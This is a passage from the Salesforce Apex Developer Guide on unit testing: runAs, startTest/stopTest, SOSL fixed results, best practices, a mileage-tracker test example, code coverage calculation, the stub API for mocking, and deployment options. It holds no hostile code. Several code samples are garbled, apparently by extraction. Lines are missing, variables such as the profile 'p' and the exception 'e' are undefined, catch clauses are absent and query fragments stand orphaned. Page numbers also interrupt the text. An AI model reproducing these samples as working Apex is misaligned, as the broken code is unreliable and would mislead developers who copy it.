// that correspond to the specified job ID.
public static void checkClassStatus(ID jobId) {
ApexTestQueueItem[] items =
[SELECT ApexClass.Name, Status, ExtendedStatus
FROM ApexTestQueueItem
WHERE ParentJobId=:jobId];
for (ApexTestQueueItem item : items) {
String extStatus = item.extendedstatus == null ? '' : item.extendedStatus;
System.debug(item.ApexClass.Name + ': ' + item.Status + extStatus);
}
}
// Get the result for each test method that was executed.
public static void checkMethodStatus(ID jobId) {
ApexTestResult[] results =
[SELECT Outcome, ApexClass.Name, MethodName, Message, StackTrace
FROM ApexTestResult
WHERE AsyncApexJobId=:jobId];
for (ApexTestResult atr : results) {
System.debug(atr.ApexClass.Name + '.' + atr.MethodName + ': ' + atr.Outcome);
if (atr.message != null) {
System.debug(atr.Message + '\n at ' + atr.StackTrace);
}
}
}
}
IN THIS SECTION:
1. Using the runAs Method
2. Using Limits, startTest, and stopTest
590
3. Adding SOSL Queries to Unit Tests
SEE ALSO:
Salesforce Help: Open the Developer Console
Using the runAs Method

Generally, all Apex code runs in system mode, where the permissions and record sharing of the current user are not taken into account.
The system method runAs enables you to write test methods that change the user context to an existing user or a new user so that
the user’s record sharing is enforced. The runAs method doesn’t enforce user permissions or field-level permissions, only record
sharing.
You can use runAs only in test methods. The original system context is started again after all runAs test methods complete.
The runAs method ignores user license limits. You can create new users with runAs even if your organization has no additional
user licenses.
Note: Every call to runAs counts against the total number of DML statements issued in the process.
In the following example, a new test user is created, then code is run as that user, with that user's record sharing access:
@isTest
private class TestRunAs {
public static testMethod void testRunAs() {
// Setup test data
// Create a unique UserName
String uniqueUserName = 'standarduser' + DateTime.now().getTime() + '@testorg.com';
// This code runs as the system user

User u = new User(Alias = 'standt', Email='standarduser@testorg.com',
EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',
LocaleSidKey='en_US', ProfileId = p.Id,
TimeZoneSidKey='America/Los_Angeles',
UserName=uniqueUserName);
System.runAs(u) {
// The following code runs as user 'u'
System.debug('Current User: ' + UserInfo.getUserName());
System.debug('Current Profile: ' + UserInfo.getProfileId());
}
}
}
You can nest more than one runAs method. For example:
@isTest
private class TestRunAs2 {
public static testMethod void test2() {

User u2 = new User(Alias = 'newUser', Email='newuser@testorg.com',
591
EmailEncodingKey='UTF-8', LastName='Testing', LanguageLocaleKey='en_US',

LocaleSidKey='en_US', ProfileId = p.Id,
TimeZoneSidKey='America/Los_Angeles', UserName='newuser@testorg.com');
System.runAs(u2) {
// The following code runs as user u2.
// The following code runs as user u3.

User u3 = [SELECT Id FROM User WHERE UserName='newuser@testorg.com'];
System.runAs(u3) {
}
// Any additional code here would run as user u2.

}
}
}
Other Uses of runAs

You can also use the runAs method to perform mixed DML operations in your test by enclosing the DML operations within the runAs
block. In this way, you bypass the mixed DML error that is otherwise returned when inserting or updating setup objects together with
other sObjects. See sObjects That Cannot Be Used Together in DML Operations.
There is another overload of the runAs method (runAs(System.Version)) that takes a package version as an argument. This
method causes the code of a specific version of a managed package to be used. For information on using the runAs method and
specifying a package version context, see Testing Behavior in Package Versions on page 616.
Using Limits, startTest, and stopTest

The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap
size remaining.
There are two versions of every method: the first returns the amount of the resource that has been used in the current context, while
the second version contains the word “limit” and returns the total amount of the resource that is available for that context. For example,
getCallouts returns the number of callouts to an external service that have already been processed in the current context, while
getLimitCallouts returns the total number of callouts available in the given context.
In addition to the Limits methods, use the startTest and stopTest methods to validate how close the code is to reaching
governor limits.
The startTest method marks the point in your test code when your test actually begins. Each test method is allowed to call this
method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing
you to set up everything you need to run your test. Any code that executes after the call to startTest and before stopTest is
assigned a new set of governor limits.
The startTest method does not refresh the context of the test: it adds a context to your test. For example, if your class makes 98
SOQL queries before it calls startTest, and the first significant statement after startTest is a DML statement, the program can
now make an additional 100 queries. Once stopTest is called, however, the program goes back into the original context, and can
only make 2 additional SOQL queries before reaching the limit of 100.
592
The stopTest method marks the point in your test code when your test ends. Use this method in conjunction with the startTest
method. Each test method is allowed to call this method only once. Any code that executes after the stopTest method is assigned
the original limits that were in effect before startTest was called. All asynchronous calls made after the startTest method are
collected by the system. When stopTest is executed, all asynchronous processes are run synchronously.
Adding SOSL Queries to Unit Tests

To ensure that test methods always behave in a predictable way, any Salesforce Object Search Language (SOSL) query that is added to
an Apex test method returns an empty set of search results when the test method executes. If you do not want the query to return an
empty list of results, you can use the Test.setFixedSearchResults system method to define a list of record IDs that are
returned by the search. All SOSL queries that take place later in the test method return the list of record IDs that were specified by the
Test.setFixedSearchResults method. Additionally, the test method can call Test.setFixedSearchResults
multiple times to define different result sets for different SOSL queries. If you do not call the Test.setFixedSearchResults
method in a test method, or if you call this method without specifying a list of record IDs, any SOSL queries that take place later in the
test method return an empty list of results.
The list of record IDs specified by the Test.setFixedSearchResults method replaces the results that would normally be
returned by the SOSL query if it were not subject to any WHERE or LIMIT clauses. If these clauses exist in the SOSL query, they are
applied to the list of fixed search results. For example:
@isTest
private class SoslFixedResultsTest1 {
public static testMethod void testSoslFixedResults() {

Id [] fixedSearchResults= new Id[1];
fixedSearchResults[0] = '001x0000003G89h';
Test.setFixedSearchResults(fixedSearchResults);
List<List<SObject>> searchList = [FIND 'test'
IN ALL FIELDS RETURNING
Account(id, name WHERE name = 'test' LIMIT
1)];
}
}
Note: SOSL queries for ContentDocument (File) or ContentNote (Note) entities require using
setFixedSearchResults with ContentVersion IDs to remain consistent with how Salesforce indexes and searches
for files and notes.
Although the account record with an ID of 001x0000003G89h may not match the query string in the FIND clause ('test'), the
record is passed into the RETURNING clause of the SOSL statement. If the record with ID 001x0000003G89h matches the WHERE
clause filter, the record is returned. If it does not match the WHERE clause, no record is returned.
Testing Best Practices

Good tests do the following:
• Cover as many lines of code as possible. Before you can deploy Apex or package it for the Force.com AppExchange, the following
must be true.
Important:
– At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
593
• When deploying Apex to a production organization, each unit test in your organization namespace is executed by
default.
• Calls to System.debug are not counted as part of Apex code coverage.
• Test methods and test classes are not counted as part of Apex code coverage.
• While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that
is covered. Instead, you should make sure that every use case of your application is covered, including positive and
negative cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit
tests.
– Every trigger must have some test coverage.

– All classes and triggers must compile successfully.
• If code uses conditional logic (including ternary operators), execute each branch.
• Make calls to methods using both valid and invalid inputs.
• Complete successfully without throwing any exceptions, unless those errors are expected and caught in a try…catch block.
• Always handle all exceptions that are caught, instead of merely catching the exceptions.
• Use System.assert methods to prove that code behaves properly.
• Use the runAs method to test your application in different user contexts.
• Exercise bulk trigger functionality—use at least 20 records in your tests.
• Use the ORDER BY keywords to ensure that the records are returned in the expected order.
• Not assume that record IDs are in sequential order.
Record IDs are not created in ascending order unless you insert multiple records with the same request. For example, if you create
an account A, and receive the ID 001D000000IEEmT, then create account B, the ID of account B may or may not be sequentially
higher.
• Set up test data:

– Create the necessary data in test classes, so the tests do not have to rely on data in a particular organization.
– Create all test data before calling the Test.startTest method.
– Since tests don't commit, you won't need to delete any data.
• Write comments stating not only what is supposed to be tested, but the assumptions the tester made about the data, the expected
outcome, and so on.
• Test the classes in your application individually. Never test your entire application in a single test.
If you are running many tests, consider the following:
• In the Force.com IDE, you may need to increase the Read timeout value for your Apex project. See
https://developer.salesforce.com/page/Apex_Toolkit_for_Eclipse for details.
• In the Salesforce user interface, you may need to test the classes in your organization individually, instead of trying to run all the
tests at the same time using the Run All Tests button.
Best Practices for Parallel Test Execution

Tests that are started from the Salesforce user interface (including the Developer Console) run in parallel. Parallel test execution can
speed up test run time. Sometimes, parallel test execution results in data contention issues, and you can turn off parallel execution in
those cases. In particular, data contention issues and UNABLE_TO_LOCK_ROW errors might occur in the following cases:
594
• When tests update the same records at the same time. Updating the same records typically occurs when tests don’t create their
own data and turn off data isolation to access the organization’s data.
• When a deadlock occurs in tests that are running in parallel and that try to create records with duplicate index field values. A deadlock
occurs when two running tests are waiting for each other to roll back data, which happens if two tests insert records with the same
unique index field values in different orders.
You can prevent receiving those errors by turning off parallel test execution in the Salesforce user interface:
1. From Setup, enter Apex Test.
2. Click Options....
3. In the Apex Test Execution Options dialog, select Disable Parallel Apex Testing and then click OK.
Test classes annotated with IsTest(isParallel=true) indicate that the test class can run concurrently with more than the
default number of concurrent test classes. This annotation overrides default settings.
SEE ALSO:
Testing Example
The following example includes cases for the following types of tests:
• Positive case with single and multiple records
• Negative case with single and multiple records
• Testing with other users
The test is used with a simple mileage tracking application. The existing code for the application verifies that not more than 500 miles
are entered in a single day. The primary object is a custom object named Mileage__c. The test creates one record with 300 miles and
verifies there are only 300 miles recorded. Then a loop creates 200 records with one mile each. Finally, it verifies there are 500 miles
recorded in total (the original 300 plus the new ones). Here is the entire test class. The following sections step through specific portions
of the code.
@isTest
private class MileageTrackerTestSuite {
static testMethod void runPositiveTestCases() {
Double totalMiles = 0;
final Double maxtotalMiles = 500;
final Double singletotalMiles = 300;
final Double u2Miles = 100;
//Set up user
User u1 = [SELECT Id FROM User WHERE Alias='auser'];
//Run As U1
System.RunAs(u1){
System.debug('Inserting 300 miles... (single record validation)');
Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today());
595
insert testMiles1;
//Validate single insert

for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u1.id
and miles__c != null]) {
totalMiles += m.miles__c;
}
System.assertEquals(singletotalMiles, totalMiles);
//Bulk validation
totalMiles = 0;
System.debug('Inserting 200 mileage records... (bulk validation)');
List<Mileage__c> testMiles2 = new List<Mileage__c>();

for(integer i=0; i<200; i++) {
testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) );
}
insert testMiles2;

and CreatedById = :u1.Id
}
System.assertEquals(maxtotalMiles, totalMiles);
}//end RunAs(u1)
//Validate additional user:

totalMiles = 0;
//Setup RunAs
User u2 = [SELECT Id FROM User WHERE Alias='tuser'];
System.RunAs(u2){
insert testMiles3;

}
//Validate
System.assertEquals(u2Miles, totalMiles);
596
} //System.RunAs(u2)
} // runPositiveTestCases()
static testMethod void runNegativeTestCases() {

System.RunAs(u3){
System.debug('Inserting a record with 501 miles... (negative test case)');
Mileage__c testMiles3 = new Mileage__c( Miles__c = 501, Date__c = System.today()

);
try {
insert testMiles3;
//Assert Error Message
System.assert( e.getMessage().contains('Insert failed. First exception on ' +
'row 0; first error: FIELD_CUSTOM_VALIDATION_EXCEPTION, ' +

'Mileage request exceeds daily limit(500): [Miles__c]'),
e.getMessage() );
//Assert field
System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]);
//Assert Status Code

System.assertEquals('FIELD_CUSTOM_VALIDATION_EXCEPTION' ,
e.getDmlStatusCode(0) );
} //catch
} //RunAs(u3)
} // runNegativeTestCases()
} // class MileageTrackerTestSuite
Positive Test Case

The following steps through the above code, in particular, the positive test case for single and multiple records.
1. Add text to the debug log, indicating the next step of the code:
System.debug('Inserting 300 more miles...single record validation');
2. Create a Mileage__c object and insert it into the database.

Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today() );
insert testMiles1;
597
3. Validate the code by returning the inserted records:

and CreatedById = :createdbyId
}
4. Use the system.assertEquals method to verify that the expected result is returned:
System.assertEquals(singletotalMiles, totalMiles);
5. Before moving to the next test, set the number of total miles back to 0:
totalMiles = 0;
6. Validate the code by creating a bulk insert of 200 records.

First, add text to the debug log, indicating the next step of the code:
System.debug('Inserting 200 Mileage records...bulk validation');
7. Then insert 200 Mileage__c records:

List<Mileage__c> testMiles2 = new List<Mileage__c>();
for(Integer i=0; i<200; i++){
testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) );
}
insert testMiles2;
8. Use System.assertEquals to verify that the expected result is returned:

and CreatedById = :CreatedbyId
}
System.assertEquals(maxtotalMiles, totalMiles);
Negative Test Case

The following steps through the above code, in particular, the negative test case.
1. Create a static test method called runNegativeTestCases:
static testMethod void runNegativeTestCases(){
System.debug('Inserting 501 miles... negative test case');
3. Create a Mileage__c record with 501 miles.

598
4. Place the insert statement within a try/catch block. This allows you to catch the validation exception and assert the generated
error message.
try {
insert testMiles3;
5. Now use the System.assert and System.assertEquals to do the testing. Add the following code to the catch
block you previously created:
//Assert Error Message
System.assert(e.getMessage().contains('Insert failed. First exception '+
'on row 0; first error: FIELD_CUSTOM_VALIDATION_EXCEPTION, '+
'Mileage request exceeds daily limit(500): [Miles__c]'),
e.getMessage());
//Assert Field
System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]);
//Assert Status Code

System.assertEquals('FIELD_CUSTOM_VALIDATION_EXCEPTION' ,
e.getDmlStatusCode(0));
}
}
}
Testing as a Second User

The following steps through the above code, in particular, running as a second user.
1. Before moving to the next test, set the number of total miles back to 0:
totalMiles = 0;
2. Set up the next user.

System.RunAs(u2){
System.debug('Setting up testing - deleting any mileage records for ' +
UserInfo.getUserName() +
' from today');
4. Then insert one Mileage__c record:

insert testMiles3;
5. Validate the code by returning the inserted records:

599

}
6. Use the system.assertEquals method to verify that the expected result is returned:
System.assertEquals(u2Miles, totalMiles);

The Apex testing framework generates code coverage numbers for your Apex classes and triggers every time you run one or more tests.
Code coverage indicates how many executable lines of code in your classes and triggers have been exercised by test methods. Write
test methods to test your triggers and classes, and then run those tests to generate code coverage information.
Apex Trigger and Class Covered by Test Methods
In addition to ensuring the quality of your code, unit tests enable you to meet the code coverage requirements for deploying or packaging
Apex. To deploy Apex or package it for the Force.com AppExchange, unit tests must cover at least 75% of your Apex code, and those
tests must pass.
Code coverage serves as one indication of test effectiveness, but doesn’t guarantee test effectiveness. The quality of the tests also matters,
but you can use code coverage as a tool to assess whether you need to add more tests. While you need to meet minimum code coverage
requirements for deploying or packaging your Apex code, code coverage shouldn’t be the only goal of your tests. Tests should assert
your app’s behavior and ensure the quality of your code.
How Is Code Coverage Calculated?

Code coverage percentage is a calculation of the number of covered lines divided by the sum of the number of covered lines and
uncovered lines. Only executable lines of code are included. (Comments and blank lines aren’t counted.) System.debug() statements
and curly brackets are excluded when they appear alone on one line. Multiple statements on one line are counted as one line for the
600
purpose of code coverage. If a statement consists of multiple expressions that are written on multiple lines, each line is counted for code
coverage.
The following is an example of a class with one method. The tests for this class have been run, and the option to show code coverage
was chosen for this class in the Developer Console. The blue lines represent the lines that are covered by tests. The lines that aren’t
highlighted are left out of the code coverage calculation. The red lines show the lines that weren’t covered by tests. To achieve full
coverage, more tests are needed. The tests must call getTaskPriority() with different inputs and verify the returned value.
This is the class that is partially covered by test methods. The corresponding test class isn’t shown.
Test classes (classes that are annotated with @isTest) are excluded from the code coverage calculation. This exclusion applies to all
test classes regardless of what they contain—test methods or utility methods used for testing.
Note: The Apex compiler sometimes optimizes expressions in a statement. For example, if multiple string constants are concatenated
with the + operator, the compiler replaces those expressions with one string constant internally. If the string concatenation
expressions are on separate lines, the additional lines aren’t counted as part of the code coverage calculation after optimization.
To illustrate this point, a string variable is assigned to two string constants that are concatenated. The second string constant is
on a separate line.
String s = 'Hello'
+ ' World!';
The compiler optimizes the string concatenation and represents the string as one string constant internally. The second line in
this example is ignored for code coverage.
String s = 'Hello World!';
Inspecting Code Coverage

After running tests, you can view code coverage information in the Tests tab of the Developer Console. The code coverage pane includes
coverage information for each Apex class and the overall coverage for all Apex code in your organization.
Also, code coverage is stored in two Force.com Tooling API objects: ApexCodeCoverageAggregate and ApexCodeCoverage.
ApexCodeCoverageAggregate stores the sum of covered lines for a class after checking all test methods that test it. ApexCodeCoverage
601
stores the lines that are covered and uncovered by each individual test method. For this reason, a class can have multiple coverage
results in ApexCodeCoverage—one for each test method that has tested it. You can query these objects by using SOQL and the Tooling
API to retrieve coverage information. Using SOQL queries with Tooling API is an alternative way of checking code coverage and a quick
way to get more details.
For example, this SOQL query gets the code coverage for the TaskUtil class. The coverage is aggregated from all test classes that
exercised the methods in this class.
SELECT ApexClassOrTrigger.Name, NumLinesCovered, NumLinesUncovered
FROM ApexCodeCoverageAggregate
WHERE ApexClassOrTrigger.Name = 'TaskUtil'
Note: This SOQL query requires the Tooling API. You can run this query by using the Query Editor in the Developer Console and
checking Use Tooling API.
Here’s a sample query result for a class that’s partially covered by tests:
ApexClassOrTrigger.Name NumLinesCovered NumLinesUncovered

TaskUtil 8 2
This next example shows how you can determine which test methods covered the class. The query gets coverage information from a
different object, ApexCodeCoverage, which stores coverage information by test class and method.
SELECT ApexTestClass.Name,TestMethodName,NumLinesCovered,NumLinesUncovered
FROM ApexCodeCoverage
WHERE ApexClassOrTrigger.Name = 'TaskUtil'
Here’s a sample query result.
ApexTestClass.Name TestMethodName NumLinesCovered NumLinesUncovered

TaskUtilTest testTaskPriority 7 3
TaskUtilTest testTaskHighPriority 6 4
The NumLinesUncovered values in ApexCodeCoverage differ from the corresponding value for the aggregate result in
ApexCodeCoverageAggregate because they represent the coverage related to one test method each. For example, test method
testTaskPriority() covered 7 lines in the entire class out of a total of 10 coverable lines, so the number of uncovered lines
with regard to testTaskPriority() is 3 lines (10–7). Because the aggregate coverage stored in ApexCodeCoverageAggregate
includes coverage by all test methods, the coverage of testTaskPriority() and testTaskHighPriority() is included,
which leaves only 2 lines that are not covered by any test methods.

Consider the following code coverage tips and best practices.
Code Coverage General Tips

• Run tests to refresh code coverage numbers. Code coverage numbers aren't refreshed when updates are made to Apex code in the
organization unless tests are rerun.
602
• If the organization has been updated since the last test run, the code coverage estimate can be incorrect. Rerun Apex tests to get a
correct estimate.
• The overall code coverage percentage in your organization doesn’t include code coverage from managed package tests. The only
exception is when managed package tests cause your triggers to fire. For more information, see Managed Package Tests.
• Coverage is based on the total number of code lines in the organization. Adding or deleting lines of code changes the coverage
percentage. For example, let's say an organization has 50 lines of code covered by test methods. If you add a trigger that has 50 lines
of code not covered by tests, the code coverage percentage drops from 100% to 50%. The trigger increases the total code lines in
the organization from 50 to 100, of which only 50 are covered by tests.
Why Code Coverage Numbers Differ between Sandbox and Production

When Apex is deployed to production or uploaded as part of a package to the Force.com AppExchange, Salesforce runs local tests in
the destination organization. Sandbox and production environments often don’t contain the same data and metadata, so the code
coverage results don’t always match. If code coverage is less than 75% in production, increase the coverage to be able to deploy or
upload your code. The following are common causes for the discrepancies in code coverage numbers between your development or
sandbox environment and production. This information can help you troubleshoot and reconcile those differences.
Test Failures
If the test results in one environment are different, the overall code coverage percentage doesn’t match. Before comparing code
coverage numbers between sandbox and production, make sure that all tests for the code that you’re deploying or packaging pass
in your organization first. The tests that contribute to the code coverage calculation must all pass before deployment or a package
upload.
Data Dependencies
If your tests access organization data by using the @isTest(SeeAllData=true) annotation, the test results can differ
depending on which data is available in the organization. If the records referenced in a test don’t exist or have changed, the test fails
or different code paths are executed in the Apex methods. Modify tests so that they create test data instead of accessing organization
data.
Metadata Dependencies
Changes in the metadata, such as changes in the user’s profile settings, can cause tests to fail or execute different code paths. Make
sure that the metadata in sandbox and production match, or ensure that the metadata changes aren’t the cause of different test
execution behavior.
Managed Package Tests
Code coverage that is computed after you run all Apex tests in the user interface, such as the Developer Console, can differ from
code coverage obtained in a deployment. If you run all tests, including managed package tests, in the user interface, the overall
code coverage in your organization doesn’t include coverage for managed package code. Although managed package tests cover
lines of code in managed packages, this coverage is not part of the organization’s code coverage calculation as total lines and covered
lines. In contrast, the code coverage computed in a deployment after running all tests through the RunAllTestsInOrg test
level includes coverage of managed package code. If you are running managed package tests in a deployment through the
RunAllTestsInOrg test level, we recommend that you run this deployment in a sandbox first or perform a validation deployment
to verify code coverage.
Deployment Resulting in Overall Coverage Lower Than 75%
When deploying new components that have 100% coverage to production, the deployment fails if the average coverage between
the new and existing code doesn’t meet the 75% threshold. If a test run in the destination organization returns a coverage result of
less than 75%, modify the existing test methods or write additional test methods to raise the code coverage over 75%. Deploy the
modified or new test methods separately or with your new code that has 100% coverage.
Code Coverage in Production Dropping Below 75%
Sometimes the overall coverage in production drops below 75%, even though it was at least 75% when the components were
deployed from sandbox. Test methods that have dependencies on the organization’s data and metadata can cause a drop in code
603
coverage. If the data and metadata have changed sufficiently to alter the result of dependent test methods, some methods can fail
or behave differently. In that case, certain lines are no longer covered.
Recommended Process for Matching Code Coverage Numbers for Production

• Use a Full Sandbox as the staging sandbox environment for production deployments. A Full Sandbox mimics the metadata and data
in production and helps reduce differences in code coverage numbers between the two environments.
• To reduce dependecies on data in sandbox and production organizations, use test data in your Apex tests.
• If a deployment to production fails due to insufficient code coverage, write more tests to raise the overall code coverage to the
highest possible coverage or 100%. Retry the deployment.
• If a deployment to production fails even after you raise code coverage numbers in sandbox, run local tests from your production
organization. Identify the classes with less than 75% coverage. Write additional tests for these classes in sandbox to raise the code
coverage.
Build a Mocking Framework with the Stub API

Apex provides a stub API for implementing a mocking framework. A mocking framework has many benefits. It can streamline and
improve testing and help you create faster, more reliable tests. You can use it to test classes in isolation, which is important for unit
testing. Building your mocking framework with the stub API can also be beneficial because stub objects are generated at runtime.
Because these objects are generated dynamically, you don’t have to package and deploy test classes. You can build your own mocking
framework, or you can use one built by someone else.
You can define the behavior of stub objects, which are created at runtime as anonymous subclasses of Apex classes. The stub API
comprises the System.StubProvider interface and the System.Test.createStub() method.
Note: This feature is intended for advanced Apex developers. Using it requires a thorough understanding of unit testing and
mocking frameworks. If you think that a mocking framework is something that makes fun of you, you might want to do a little
more research before reading further.
Let’s look at an example to illustrate how the stub API works. This example isn’t meant to demonstrate the wide range of possible uses
for mocking frameworks. It’s intentionally simple to focus on the mechanics of using the Apex stub API.
Let’s say we want to test the formatting method in the following class.
public class DateFormatter {
// Method to test
public String getFormattedDate(DateHelper helper) {
return 'Today\'s date is ' + helper.getTodaysDate();
}
}
Usually, when we invoke this method, we pass in a helper class that has a method that returns today’s date.
public class DateHelper {
// Method to stub
public String getTodaysDate() {
return Date.today().format();
}
}
604
The following code invokes the method.

DateFormatter df = new DateFormatter();
DateHelper dh = new DateHelper();
String dateStr = df.getFormattedDate(dh);
For testing, we want to isolate the getFormattedDate() method to make sure that the formatting is working properly. The return
value of the getTodaysDate() method normally varies based on the day. However, in this case, we want to return a constant,
predictable value to isolate our testing to the formatting. Rather than writing a “fake” version of the class, where the method returns a
constant value, we create a stub version of the class. The stub object is created dynamically at runtime, and we can specify the “stubbed”
behavior of its method.
To use a stub version of an Apex class:
1. Define the behavior of the stub class by implementing the System.StubProvider interface.
2. Instantiate a stub object by using the System.Test.createStub() method.
3. Invoke the relevant method of the stub object from within a test class.
Implement the StubProvider Interface

Here’s an implementation of the StubProvider interface.
@isTest
public class MockProvider implements System.StubProvider {
public Object handleMethodCall(Object stubbedObject, String stubbedMethodName,

Type returnType, List<Type> listOfParamTypes, List<String> listOfParamNames,
List<Object> listOfArgs) {
// The following debug statements show an example of logging

// the invocation of a mocked method.
// You can use the method name and return type to determine which method was called.
System.debug('Name of stubbed method: ' + stubbedMethodName);

System.debug('Return type of stubbed method: ' + returnType.getName());
// You can also use the parameter names and types to determine which method
// was called.
for (integer i =0; i < listOfParamNames.size(); i++) {
System.debug('parameter name: ' + listOfParamNames.get(i));
System.debug(' parameter type: ' + listOfParamTypes.get(i).getName());
}
// This shows the actual parameter values passed into the stubbed method at runtime.
System.debug('number of parameters passed into the mocked call: ' +

listOfArgs.size());
System.debug('parameter(s) sent into the mocked call: ' + listOfArgs);
// This is a very simple mock provider that returns a hard-coded value

// based on the return type of the invoked.
if (returnType.getName() == 'String')
return '8/8/2016';
605
else
return null;
}
}
StubProvider is a callback interface. It specifies a single method that requires implementing: handleMethodCall(). When
a stubbed method is called, handleMethodCall() is called. You define the behavior of the stubbed class in this method. The
method has the following parameters.
• stubbedObject: The stubbed object
• stubbedMethodName: The name of the invoked method
• returnType: The return type of the invoked method
• listOfParamTypes: A list of the parameter types of the invoked method
• listOfParamNames: A list of the parameter names of the invoked method
• listOfArgs: The actual argument values passed into this method at runtime
You can use these parameters to determine which method of your class was called, and then you can define the behavior for each
method. In this case, we check the return type of the method to identify it and return a hard-coded value.
Instantiate a Stub Version of the Class

The next step is to instantiate a stub version of the class. The following utility class returns a stub object that you can use as a mock.
public class MockUtil {
private MockUtil(){}
public static MockProvider getInstance() {

return new MockProvider();
}
public static Object createMock(Type typeToMock) {

// Invoke the stub API and pass it our mock provider to create a
// mock class of typeToMock.
return Test.createStub(typeToMock, MockUtil.getInstance());
}
}
This class contains the method createMock(), which invokes the Test.createStub() method. The createStub()
method takes an Apex class type and an instance of the StubProvider interface that we created previously. It returns a stub object
that we can use in testing.
Invoke the Stub Method

Finally, we invoke the relevant method of the stub class from within a test class.
@isTest
public class DateFormatterTest {
@isTest
public static void testGetFormattedDate() {
// Create a mock version of the DateHelper class.
DateHelper mockDH = (DateHelper)MockUtil.createMock(DateHelper.class);
DateFormatter df = new DateFormatter();
606
Apex Developer Guide Deploying Apex
// Use the mocked object in the test.

System.assertEquals('Today\'s date is 8/8/2016', df.getFormattedDate(mockDH));
}
}
In this test, we call the createMock() method to create a stub version of the DateHelper class. We can then invoke the
getTodaysDate() method on the stub object, which returns our hard-coded date. Using the hard-coded date allows us to test
the behavior of the getFormattedDate() method in isolation.
Apex Stub API Limitations

Keep the following limitations in mind when working with the Apex stub API.
• The object being mocked must be in the same namespace as the call to the Test.createStub() method. However, the
implementation of the StubProvider interface can be in another namespace.
• You can’t mock the following Apex elements.
– Static methods (including future methods)
– Private methods
– Properties (getters and setters)
– Triggers
– Inner classes
– System types
– Classes that implement the Batchable interface
– Classes that have only private constructors
• Iterators can’t be used as return types or parameter types.
SEE ALSO:
StubProvider Interface
createStub(parentType, stubProvider)
Deploying Apex
You can't develop Apex in your Salesforce production org. Your development work is done in either a sandbox or a Developer Edition
org.
You can deploy Apex using:
• Change Sets
• The Force.com IDE
• The Force.com Migration Tool
• SOAP API
Any deployment of Apex is limited to 5,000 code units of classes and triggers.
IN THIS SECTION:
1. Using Change Sets To Deploy Apex
2. Using the Force.com IDE to Deploy Apex
607
3. Using the Force.com Migration Tool

4. Using SOAP API to Deploy Apex
Using Change Sets To Deploy Apex

You can deploy Apex classes and triggers between connected organizations, for example, from a
EDITIONS
sandbox organization to your production organization. You can create an outbound change set in
the Salesforce user interface and add the Apex components that you would like to upload and Available in: Salesforce
deploy to the target organization. To learn more about change sets, see “Change Sets” in the Classic
Salesforce online help.
Available in Enterprise,
Using the Force.com IDE to Deploy Apex and Database.com Editions
The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface
for building and deploying Force.com applications. Designed for developers and development
teams, the IDE provides tools to accelerate Force.com application development, including source code editors, test execution tools,
wizards and integrated help. This tool includes basic color-coding, outline view, integrated unit testing, and auto-compilation on save
with error message display.
Note: The Force.com IDE is a free resource provided by Salesforce to support its users and partners but isn't considered part of
our services for purposes of the Salesforce Master Subscription Agreement.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Deploy to Server wizard.
Note: If you deploy to a production organization:

Note the following.
– While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.

For more information on how to use the Deploy to Server wizard, see “Deploy Code with the Force.com IDE” in the Force.com IDE
documentation, which is available within Eclipse.
Using the Force.com Migration Tool

In addition to the Force.com IDE, you can also use a script to deploy Apex.
Download the Force.com Migration Tool if you want to perform a file-based deployment of metadata changes and Apex classes from
a Developer Edition or sandbox organization to a production organization using Apache's Ant build tool.
Note: The Force.com Migration Tool is a free resource provided by Salesforce to support its users and partners but isn't considered
part of our services for purposes of the Salesforce Master Subscription Agreement.
608
To use the Force.com Migration Tool, do the following:

1. Visit http://www.oracle.com/technetwork/java/javase/downloads/index.html and install the Java JDK.
Note: For enhanced security, we recommend Java 7 or later and a recent version of the Force.com Migration Tool (version
36.0 or later). Starting with version 36.0, the Force.com Migration Tool uses TLS 1.2 for secure communications with Salesforce
when it detects Java version 7 (1.7). The tool explicitly enables TLS 1.1 and 1.2 for Java 7. If you’re using Java 8 (1.8), TLS 1.2 is
used. For Java version 6, TLS 1.0 is used, which is no longer supported by Salesforce.
Alternatively, if you’re using Java 7, instead of upgrading your Force.com Migration Tool to version 36.0 or later, you can add
the following to your ANT_OPTS environment variable:
-Dhttps.protocols=TLSv1.1,TLSv1.2
This setting also enforces TLS 1.1 and 1.2 for any other Ant tools on your local system.
2. Visit http://ant.apache.org/ and install Apache Ant, Version 1.6 or later, on the deployment machine.
3. Set up the environment variables (such as ANT_HOME, JAVA_HOME, and PATH) as specified in the Ant Installation Guide at
http://ant.apache.org/manual/install.html.
4. Verify that the JDK and Ant are installed correctly by opening a command prompt, and entering ant –version. Your output
should look something like this:
Apache Ant version 1.7.0 compiled on December 13 2006
5. Download the .zip file of the Winter ’18 Force.com Migration Tool. The download link doesn’t require authentication to Salesforce.
If you’re logged in to Salesforce, we recommend you log out before accessing the link in your browser.
6. Unzip the downloaded file to the directory of your choice. The Zip file contains the following:
• A Readme.html file that explains how to use the tools
• A Jar file containing the ant task: ant-salesforce.jar
• A sample folder containing:
– A codepkg\classes folder that contains SampleDeployClass.cls and SampleFailingTestClass.cls
– A codepkg\triggers folder that contains SampleAccountTrigger.trigger
– A mypkg\objects folder that contains the custom objects used in the examples
– A removecodepkg folder that contains XML files for removing the examples from your organization
– A sample build.properties file that you must edit, specifying your credentials, in order to run the sample ant tasks
in build.xml
– A sample build.xml file, that exercises the deploy and retrieve API calls
7. The Force.com Migration Tool uses the ant-salesforce.jar file that’s in the distribution .zip file. If you installed a previous
